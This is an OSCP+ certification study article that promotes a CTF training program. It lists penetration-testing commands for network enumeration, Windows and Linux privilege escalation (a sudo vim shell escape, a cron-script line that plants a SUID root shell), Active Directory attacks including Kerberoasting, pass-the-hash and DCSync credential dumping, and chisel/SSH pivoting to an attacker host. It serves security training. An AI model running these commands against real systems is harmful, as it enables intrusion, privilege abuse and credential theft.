Introduction:
The OSCP+ certification demands more than theoretical knowledge—it requires hands-on proficiency in enumerating networks, exploiting vulnerabilities, and pivoting through compromised systems. This article distills core techniques from Ignite Technologies’ CTF practice program (https://lnkd.in/eph5XB94) and provides actionable commands and step‑by‑step guides to elevate your red team skills.
Learning Objectives:
- Master comprehensive information gathering and service enumeration on target machines
- Execute Windows and Linux privilege escalation vectors using automated and manual techniques
- Perform Active Directory attacks and network pivoting to simulate real‑world breach scenarios
You Should Know
- Information Gathering & Enumeration – The Foundation of Every Hack
Effective enumeration separates beginners from OSCP+ caliber testers. Before launching exploits, map the attack surface using these proven tools.
Step‑by‑step guide:
- Network scanning – Identify live hosts and open ports:
nmap -sC -sV -p- -T4 192.168.1.0/24 -oA full_scan
- Web directory brute‑forcing – Uncover hidden admin panels or backup files:
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt -t 50
- SMB enumeration – Extract shares, users, and policies:
enum4linux -a 192.168.1.10 smbclient -L //192.168.1.10 -N
4. LDAP reconnaissance – For Active Directory environments:
ldapsearch -x -H ldap://domaincontroller -b "dc=lab,dc=local"
5. DNS zone transfer – Attempt misconfigured DNS:
dig axfr @ns.target.com target.com
What this does:
These commands reveal running services, version details, user accounts, and misconfigurations that become entry points for further exploitation.
- Windows Privilege Escalation – From Low to SYSTEM
Once you land a low‑privileged shell on Windows, escalate using misconfigured services, tokens, or scheduled tasks.
Step‑by‑step guide:
1. Run WinPeas – Automated privilege escalation checker:
Upload winPEAS.exe to target and execute .\winPEAS.exe quiet > output.txt
2. Check always‑install‑elevated – MSI installations running as SYSTEM:
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
3. Exploit unquoted service paths – Find vulnerable services:
wmic service get name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\"
4. Abuse SeImpersonatePrivilege – Using PrintSpoofer or JuicyPotato:
After confirming privilege with whoami /priv PrintSpoofer64.exe -i -c cmd.exe
5. Extract auto‑logon credentials – Check registry:
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
What this does:
These steps identify common Windows misconfigurations that allow a standard user to gain SYSTEM or Administrator rights, a core OSCP+ objective.
- Linux Privilege Escalation – Mastering SUID, Sudo, and Kernels
Linux environments offer diverse escalation paths—from cron jobs to kernel exploits. Use automation first, then manual verification.
Step‑by‑step guide:
1. Run LinPEAS – Comprehensive Linux enumeration:
./linpeas.sh -a
2. List sudo privileges – Check for exploitable commands:
sudo -l If you see NOPASSWD: /usr/bin/vim, escape with: sudo vim -c ':!/bin/bash'
3. Find SUID binaries – Search for binaries that run with owner privileges:
find / -perm -4000 -type f 2>/dev/null Exploit common SUID (e.g., pkexec, cp, nmap)
4. Cron job abuse – Write to writable scripts executed by root:
ls -la /etc/cron /var/spool/cron/ echo 'cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash' >> /path/to/writable/cron.sh
5. Kernel exploit – Last resort, but check with:
uname -a searchsploit linux kernel <version>
What this does:
These techniques elevate your shell from a low‑privileged user to root, demonstrating real‑world post‑exploitation skills required for CTF exams.
- Active Directory Attacks – Kerberoasting, AS‑REP Roasting, and BloodHound
Active Directory is the heart of enterprise networks. OSCP+ expects you to enumerate AD objects, crack tickets, and move laterally.
Step‑by‑step guide:
- Collect AD data with BloodHound – Run SharpHound on a Windows machine:
.\SharpHound.exe -c All -d lab.local Import the zip into BloodHound GUI
- Kerberoasting – Extract service account tickets for offline cracking:
From Windows with Rubeus .\Rubeus.exe kerberoast /outfile:hashes.kerberoast From Linux with Impacket GetUserSPNs.py -request lab.local/username:password -dc-ip 192.168.1.10
3. AS‑REP Roasting – Attack users without pre‑authentication:
.\Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt Crack with hashcat -m 18200
4. Pass‑the‑Hash – Move laterally without cracking the password:
Using Impacket's wmiexec wmiexec.py -hashes :NTLMhash lab.local/[email protected]
5. DCSync attack – Simulate domain controller replication (requires high privileges):
secretsdump.py -just-dc-ntlm lab.local/[email protected]
What this does:
These steps mimic an attacker who has compromised a domain‑joined user and aims to take over the entire AD forest—a common CTF endgame.
5. Tunneling & Pivoting – Breach Network Segmentation
After compromising a machine on a segmented network, use pivoting to reach internal hosts that are not directly accessible.
Step‑by‑step guide:
- SSH local port forwarding – Tunnel a remote service to your local machine:
ssh -L 8080:internal-host:80 user@compromised-box Now access http://localhost:8080
- Chisel reverse SOCKS proxy – Fast, lightweight tunneling:
On attacker machine (server) chisel server -p 8000 --reverse On compromised Linux box (client) chisel client attacker-ip:8000 R:socks
- Proxychains configuration – Route tools through the SOCKS tunnel:
Edit /etc/proxychains4.conf: add "socks5 127.0.0.1 1080" proxychains nmap -sT -Pn 10.0.0.0/24
- Windows port forwarding with netsh – Built‑in pivot (requires admin):
netsh interface portproxy add v4tov4 listenport=4444 listenaddress=0.0.0.0 connectport=3389 connectaddress=10.0.0.5
- SSH dynamic forwarding – Create a SOCKS proxy via SSH:
ssh -D 9050 user@compromised-box Use with proxychains or set browser proxy to SOCKS5 127.0.0.1:9050
What this does:
Pivoting allows you to scan and exploit internal networks that were previously unreachable, simulating how attackers move from an initial foothold to critical assets.
What Undercode Say
- Practical repetition is non‑negotiable – Mastery of enumeration and privilege escalation requires daily practice on platforms like Hack The Box and the OSCP+ labs.
- Automation accelerates but manual understanding wins – Tools like LinPEAS and BloodHound save time, but you must interpret their output and know when to bypass false positives.
- Active Directory is the new battleground – Nearly every enterprise CTF exam now includes AD attacks; Kerberoasting and DCSync are mandatory skills.
- Pivoting separates CTF players from penetration testers – Being able to tunnel through a single compromised host into a hidden subnet is what real incident responders and red teams do daily.
Analysis: The OSCP+ exam has evolved beyond standalone Linux boxes. It now demands fluency in Windows, Active Directory, and network pivoting. The training program from Ignite Technologies (register at https://forms.gle/bowpX9TGEs41GDG99) correctly emphasizes these areas, and the commands provided above directly map to the syllabus. Candidates who automate reconnaissance, practice privilege escalation on both OS families, and rehearse tunneling with Chisel or SSH will enter the exam with a significant advantage.
Prediction
As enterprise networks shift toward hybrid AD and cloud‑integrated identity providers, future OSCP+ iterations will incorporate Azure AD attacks, Graph API exploitation, and container escape techniques. Training programs that currently focus on on‑premises Active Directory will need to expand into cloud privilege escalation and serverless misconfigurations. The demand for hands‑on, CTF‑style practice will grow, and platforms that offer realistic, time‑boxed exam simulations will become the gold standard for certification preparation. Candidates who learn to pivot across on‑prem to cloud boundaries will dominate the next generation of red team roles.
